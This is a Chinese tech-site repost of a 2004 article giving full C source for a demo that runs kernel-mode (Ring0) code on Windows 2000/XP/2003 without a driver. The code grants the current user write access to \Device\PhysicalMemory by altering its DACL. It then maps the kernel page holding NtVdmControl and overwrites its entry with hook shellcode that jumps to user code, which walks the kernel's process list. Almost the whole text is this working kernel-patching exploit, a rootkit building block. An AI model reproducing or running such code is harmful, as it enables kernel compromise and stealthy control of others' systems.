首页 电脑 电脑学堂 查看内容

无驱动执行Ring0代码

2004-12-23 08:53 885 0

摘要: 作者:zzzevazzz  来自:http://www.ph4nt0m.org/ //********************************************************...
关键词: nbsp ULONG Status NULL PVOID FreeAndExit hSection printf NTSTATUS Offset

作者:zzzevazzz  来自:http://www.ph4nt0m.org/ //************************************************************************ // Ring0Demo.c v1.0 by zzzEVAzzz // 目的:演示无驱动执行Ring0代码。 // 原理:通过\Device\PhysicalMemory修改NtVdmControl入口,跳转到Ring0Code //************************************************************************ #include <Windows.h> #include <Ntsecapi.h> #include <Aclapi.h> #pragma comment (lib,"ntdll.lib")       // Copy From DDK #pragma comment (lib,"Kernel32.lib") #pragma comment (lib,"Advapi32.lib") //------------------ 数据类型声明开始 --------------------// typedef struct _SYSTEM_MODULE_INFORMATION {     ULONG Reserved[2];     PVOID Base;     ULONG Size;     ULONG Flags;     USHORT Index;     USHORT Unknown;     USHORT LoadCount;     USHORT ModuleNameOffset;     CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef struct _OBJECT_ATTRIBUTES {     ULONG Length;     HANDLE RootDirectory;     PUNICODE_STRING ObjectName;     ULONG Attributes;     PVOID SecurityDescriptor;     PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef enum _SECTION_INHERIT {     ViewShare = 1,     ViewUnmap = 2 } SECTION_INHERIT; typedef struct _MY_PROCESS_INFO {     ULONG PID;     ULONG KPEB;     ULONG CR3;     CHAR Name[16];     ULONG Reserved; } MY_PROCESS_INFO, *PMY_PROCESS_INFO; typedef long NTSTATUS; //------------------ 数据类型声明结束 --------------------// //--------------------- 预定义开始 -----------------------// #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define STATUS_SUCCESS              0x00000000 #define STATUS_UNSUCCESSFUL         0xC0000001 #define STATUS_NOT_IMPLEMENTED      0xC0000002 #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 #define STATUS_INVALID_PARAMETER    0xC000000D #define STATUS_ACCESS_DENIED        0xC0000022 #define STATUS_BUFFER_TOO_SMALL     0xC0000023 #define OBJ_KERNEL_HANDLE           0x00000200 #define SystemModuleInformation     11 #define InitializeObjectAttributes( p, n, a, r, s ) { \    /* 注意,由于php标签过滤,以下6行缺少续行符\ */     (p)->Length = sizeof( OBJECT_ATTRIBUTES );             (p)->RootDirectory = r;                                (p)->Attributes = a;                                   (p)->ObjectName = n;                                   (p)->SecurityDescriptor = s;                           (p)->SecurityQualityOfService = NULL;                  } //--------------------- 预定义结束 -----------------------// //------------------ Native API声明开始 ------------------// NTSYSAPI VOID NTAPI RtlInitUnicodeString(     PUNICODE_STRING DestinationString,     PCWSTR SourceString     ); NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(     ULONG SystemInformationClass,     PVOID SystemInformation,     ULONG SystemInformationLength,     PULONG ReturnLength     ); NTSYSAPI NTSTATUS NTAPI ZwOpenSection(     OUT PHANDLE SectionHandle,     IN ACCESS_MASK DesiredAccess,     IN POBJECT_ATTRIBUTES ObjectAttributes     ); NTSYSAPI NTSTATUS NTAPI ZwMapViewOfSection(     IN HANDLE SectionHandle,     IN HANDLE ProcessHandle,     IN OUT PVOID *BaseAddress,     IN ULONG ZeroBits,     IN ULONG CommitSize,     IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,     IN OUT PULONG ViewSize,     IN SECTION_INHERIT InheritDisposition,     IN ULONG AllocationType,     IN ULONG Protect     ); NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection(     IN HANDLE ProcessHandle,     IN PVOID BaseAddress     ); NTSYSAPI NTSTATUS NTAPI ZwClose(     IN HANDLE Handle     ); NTSYSAPI NTSTATUS NTAPI NtVdmControl(     IN ULONG ControlCode,     IN PVOID ControlData     ); //------------------ Native API声明结束 ------------------// //------------------ 全局变量定义开始 --------------------// NTSTATUS (NTAPI *pfnNtVdmControl)(     IN ULONG ControlCode,     IN PVOID ControlData     ); BOOLEAN (NTAPI *pfnPsGetVersion)(     PULONG MajorVersion OPTIONAL,     PULONG MinorVersion OPTIONAL,     PULONG BuildNumber OPTIONAL,     PUNICODE_STRING CSDVersion OPTIONAL     ); HANDLE (NTAPI *pfnPsGetCurrentProcessId)(     ); PVOID (NTAPI *pfnMemcpy)(     IN VOID UNALIGNED *Destination,     IN CONST VOID UNALIGNED *Source,     IN SIZE_T Length     ); ULONG (_cdecl *pfnDbgPrint)(     IN PCHAR Format,     ...     ); ULONG *pPsInitialSystemProcess; //------------------ 全局变量定义结束 --------------------// // 获取指定模块的基址 PVOID GetModuleBase(PCSTR name) {     NTSTATUS status;     PVOID pBuffer, pModule;     ULONG nRetSize, i, n;     PSYSTEM_MODULE_INFORMATION pmi;     pBuffer = LocalAlloc(LPTR, 0x1000);     if (NULL == pBuffer)     {         printf("LocalAlloc[0] Failed: %d\n", GetLastError());         return NULL;     }     status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, 0x1000, &nRetSize);     if (STATUS_INFO_LENGTH_MISMATCH == status)     {         // 缓冲区太小,重新分配         LocalFree(pBuffer);         pBuffer = LocalAlloc(LPTR, nRetSize);         if (NULL == pBuffer)         {             printf("LocalAlloc[1] Failed: %d\n", GetLastError());             return NULL;         }         status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, nRetSize, &nRetSize);     }     if (!NT_SUCCESS(status))     {         printf("ZwQuerySystemInformation Failed: %d\n", LsaNtStatusToWinError(status));         LocalFree(pBuffer);         return NULL;     }     pmi = (PSYSTEM_MODULE_INFORMATION)((ULONG)pBuffer + 4);     n = *(ULONG*)pBuffer;     pModule = NULL;     // 搜索指定的模块名,获取基址     for (i=0; i<n; i++)     {         if (!_stricmp(pmi->ImageName+pmi->ModuleNameOffset, name))         {             pModule = pmi->Base;             break;         }         pmi++;     }     LocalFree(pBuffer);     return pModule; } // 获取\Device\PhysicalMemory的可读写句柄 HANDLE OpenPhysicalMemory() {     DWORD dwRet;     NTSTATUS status;     UNICODE_STRING name;     OBJECT_ATTRIBUTES oa;     EXPLICIT_ACCESS ea;     PSECURITY_DESCRIPTOR pSD;     PACL pDacl = NULL;     PACL pNewDacl = NULL;     HANDLE hSection = NULL;     HANDLE hSectionRet = NULL;     RtlInitUnicodeString(&name, L"\\Device\\PhysicalMemory");     InitializeObjectAttributes(&oa, &name, OBJ_KERNEL_HANDLE, NULL, NULL);     // 以可读写Section权限打开PhysicalMemory     status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);     if (NT_SUCCESS(status)) goto FreeAndExit; // 打开成功,直接返回     if (status != STATUS_ACCESS_DENIED)     {         // 错误,但非权限不足,打开失败         printf("ZwOpenSection[0] Failed: %d\n", LsaNtStatusToWinError(status));         hSectionRet = NULL;         goto FreeAndExit;     }       // 以可读写ACL权限打开PhysicalMemory     status = ZwOpenSection(&hSection, READ_CONTROL | WRITE_DAC, &oa);     if (!NT_SUCCESS(status))     {         printf("ZwOpenSection[1] Failed: %d\n", LsaNtStatusToWinError(status));         goto FreeAndExit;     }     // 获取PhysicalMemory的DACL     dwRet = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,         NULL, NULL, &pDacl, NULL, &pSD);     if (dwRet != ERROR_SUCCESS)     {         printf("GetSecurityInfo Failed: %d\n", dwRet);         goto FreeAndExit;     }     // 创建一个ACE,允许当前用户读写PhysicalMemory     ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));     ea.grfAccessPermissions = SECTION_MAP_READ | SECTION_MAP_WRITE;     ea.grfAccessMode = GRANT_ACCESS;     ea.grfInheritance = NO_INHERITANCE;     ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;     ea.Trustee.TrusteeType = TRUSTEE_IS_USER;     ea.Trustee.ptstrName = "CURRENT_USER";     // 将新的ACE加入DACL     dwRet = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl);     if (dwRet != ERROR_SUCCESS)     {         printf("SetEntriesInAcl Failed: %d\n", dwRet);         goto FreeAndExit;     }     // 更新PhysicalMemory的DACL     dwRet = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,         NULL, NULL, pNewDacl, NULL);     if (dwRet != ERROR_SUCCESS)     {         printf("SetSecurityInfo Failed: %d\n", dwRet);         goto FreeAndExit;     }     // 再次以可读写权限打开PhysicalMemory     status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);     if (!NT_SUCCESS(status))     {         printf("ZwOpenSection[2] Failed: %d\n", LsaNtStatusToWinError(status));         goto FreeAndExit;     } FreeAndExit:     if (pSD) LocalFree(pSD);     if (pNewDacl) LocalFree(pNewDacl);     if (hSection) ZwClose(hSection);     return hSectionRet; } // 将物理内存映射到当前进程的用户空间 PVOID MapPhysicalMemory(HANDLE hSection, // 物理内存的Section句柄                         ULONG Offset,    // 映射起始偏移量,相对于物理内存的0地址                         ULONG CommitSize // 映射范围                         ) {     NTSTATUS status;     PVOID BaseAddress = NULL;     LARGE_INTEGER PhysicalAddress = {Offset, 0};     SIZE_T ViewSize = CommitSize;     status = ZwMapViewOfSection(hSection, (HANDLE)-1, &BaseAddress, 0,         CommitSize, &PhysicalAddress, &ViewSize, ViewShare, 0, PAGE_READWRITE);     if (!NT_SUCCESS(status))     {         printf("ZwMapViewOfSection Failed: %d\n", LsaNtStatusToWinError(status));         return NULL;     }     return BaseAddress; } // 在Ring0执行的代码。这里演示如何获取每个进程的PID、KPEB、CR3和ImageName NTSTATUS Ring0Code(ULONG size,      // 缓冲区大小                    PULONG buffer)   // 缓冲区指针,指向调用者分配的缓存                                     // 参数个数与NtVdmControl一致,以平衡堆栈 {     ULONG BuildNumber;     ULONG ListOffset;     ULONG PIDOffset;     ULONG NameOffset;     PLIST_ENTRY ListHead, ListPtr;     PMY_PROCESS_INFO mypi;     pfnDbgPrint("Run in Ring0!\n"); // 输出调试信息     pfnPsGetVersion(NULL, NULL, &BuildNumber, NULL);     pfnDbgPrint("BuildNumber = %d\n", BuildNumber);     switch (BuildNumber)    // 各版本OS的KPEB结构不同     {         case 2195:  // Win2000             ListOffset = 0xa0;             PIDOffset = 0x9c;             NameOffset = 0x1fc;             break;         case 2600:  // WinXP             ListOffset = 0x88;             PIDOffset = 0x84;             NameOffset = 0x174;             break;         case 3790:  // Win2003             ListOffset = 0x88;             PIDOffset = 0x84;             NameOffset = 0x154;             break;         default:             return STATUS_NOT_IMPLEMENTED;     }     if (size<4) return STATUS_BUFFER_TOO_SMALL;     size -= 4;     if (NULL == buffer) return STATUS_INVALID_PARAMETER;     *buffer = 0L;   // 缓存的第一个ULONG用于保存进程总数     mypi = (PMY_PROCESS_INFO)(buffer + 1);     // 历遍ActiveProcessLinks     ListHead = ListPtr = (PLIST_ENTRY)(*pPsInitialSystemProcess + ListOffset);     while (ListPtr->Flink != ListHead)     {         if (size < sizeof(MY_PROCESS_INFO)) return STATUS_BUFFER_TOO_SMALL;         mypi->KPEB = (ULONG)ListPtr - ListOffset;         mypi->PID = *(ULONG*)(mypi->KPEB + PIDOffset);         mypi->CR3 = *(ULONG*)(mypi->KPEB + 0x18);         pfnMemcpy(mypi->Name, (PVOID)(mypi->KPEB + NameOffset), 16);         (*buffer)++;         mypi++;         size -= sizeof(MY_PROCESS_INFO);         ListPtr = ListPtr->Flink;     }     return STATUS_SUCCESS; } // 显示进程信息 void ListProcessInfo(PULONG buffer) {     ULONG i, n = *buffer;     PMY_PROCESS_INFO mypi = (PMY_PROCESS_INFO)(buffer + 1);     printf(" PID   KPEB      CR3       Name\n"            " ----  --------  --------  ----\n");     for (i=0; i<n; i++)     {         printf(" %-4d  %08x  %08x  %s\n",             mypi->PID, mypi->KPEB, mypi->CR3, mypi->Name);         mypi++;     } } void main() {     char *Kernel = "ntoskrnl.exe";     PVOID pKernel = NULL;     HMODULE hKernel = NULL;     HANDLE hSection = NULL;     char *mapping = NULL;     PVOID buffer = NULL;     ULONG offset;     NTSTATUS status;     char OrigCode[24], HookCode[24] =         "\xE8\xFF\xFF\xFF\xFF"  // call 0xffffffff      ;nt!PsGetCurrentProcessId         "\x3D\xEE\xEE\xEE\xEE"  // cmp eax, 0xeeeeeeee  ;自己的PID         "\x75\x05"              // jne $Content$5         "\xE9\xDD\xDD\xDD\xDD"  // jmp 0xdddddddd       ;Ring0Code         "\xB8\x01\x00\x00\xC0"  // mov eax, 0xc0000001  ;STATUS_UNSUCCESSFUL         "\xC3";                 // ret     printf("\n -=< Run Ring0 Code Without Driver Demo >=-\n\n");     // 获取系统核心模块ntoskrnl.exe的基址     pKernel = GetModuleBase(Kernel);     if (NULL == pKernel) return;     if ((ULONG)pKernel < 0x80000000 || (ULONG)pKernel > 0x9FFFFFFF)     {         // 模块基址超出直接内存映射范围         printf("Error: Kernel module base (%08x) is out of range.\n", pKernel);         return;     }     // 在用户态加载一份ntoskrnl.exe     hKernel = LoadLibrary(Kernel);     if (NULL == hKernel)     {         printf("LoadLibrary Failed: %d\n", GetLastError());         return;     }     // 获取内核例程/变量在用户态的相对位置     if ((pfnMemcpy = (PVOID)GetProcAddress(hKernel, "memcpy")) &&         (pfnDbgPrint = (PVOID)GetProcAddress(hKernel, "DbgPrint")) &&         (pfnNtVdmControl = (PVOID)GetProcAddress(hKernel, "NtVdmControl")) &&         (pfnPsGetVersion = (PVOID)GetProcAddress(hKernel, "PsGetVersion")) &&         (pfnPsGetCurrentProcessId = (PVOID)GetProcAddress(hKernel, "PsGetCurrentProcessId")) &&         (pPsInitialSystemProcess = (PVOID)GetProcAddress(hKernel, "PsInitialSystemProcess")));     else     {         printf("GetProcAddress Failed: %d\n", GetLastError());         goto FreeAndExit;     }     // 计算内核例程/变量的实际地址     offset = (ULONG)pKernel - (ULONG)hKernel;     (ULONG)pfnMemcpy += offset;     (ULONG)pfnDbgPrint += offset;     (ULONG)pfnNtVdmControl += offset;     (ULONG)pfnPsGetVersion += offset;     (ULONG)pfnPsGetCurrentProcessId += offset;     (ULONG)pPsInitialSystemProcess += offset;     // 设置HookCode     *(ULONG*)(HookCode+1) = (ULONG)pfnPsGetCurrentProcessId - (ULONG)pfnNtVdmControl - 5;     *(ULONG*)(HookCode+6) = GetCurrentProcessId();     *(ULONG*)(HookCode+13) = (ULONG)Ring0Code - (ULONG)pfnNtVdmControl - 17;     // 打开物理内存Section     hSection = OpenPhysicalMemory();     if (NULL == hSection) goto FreeAndExit;     // 映射NtVdmControl入口附近的内存     offset = (ULONG)pfnNtVdmControl & 0x1FFFF000;   // 转换到物理内存页地址     mapping = MapPhysicalMemory(hSection, offset, 0x2000);     if (NULL == mapping) goto FreeAndExit;     // 保存NtVdmControl入口代码     offset = (ULONG)pfnNtVdmControl & 0x00000FFF;   // 页内偏移     memcpy(OrigCode, mapping+offset, 24);     buffer = LocalAlloc(LPTR, 0x1000);     if (NULL == buffer)     {         printf("LocalAlloc Failed: %d\n", GetLastError());         goto FreeAndExit;     }     memcpy(mapping+offset, HookCode, 24);   // 挂钩NtVdmControl     status = NtVdmControl(0x1000, buffer);  // 调用NtVdmControl,进入Ring0     memcpy(mapping+offset, OrigCode, 24);   // 还原NtVdmControl入口     if (!NT_SUCCESS(status))     {         printf("NtVdmControl Failed: %d\n", LsaNtStatusToWinError(status));         goto FreeAndExit;     }     ListProcessInfo(buffer); FreeAndExit:     if (buffer != NULL) LocalFree(buffer);     if (mapping != NULL) ZwUnmapViewOfSection(hSection, mapping);     if (hSection != NULL) ZwClose(hSection);     if (hKernel != NULL) FreeLibrary(hKernel); }    
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部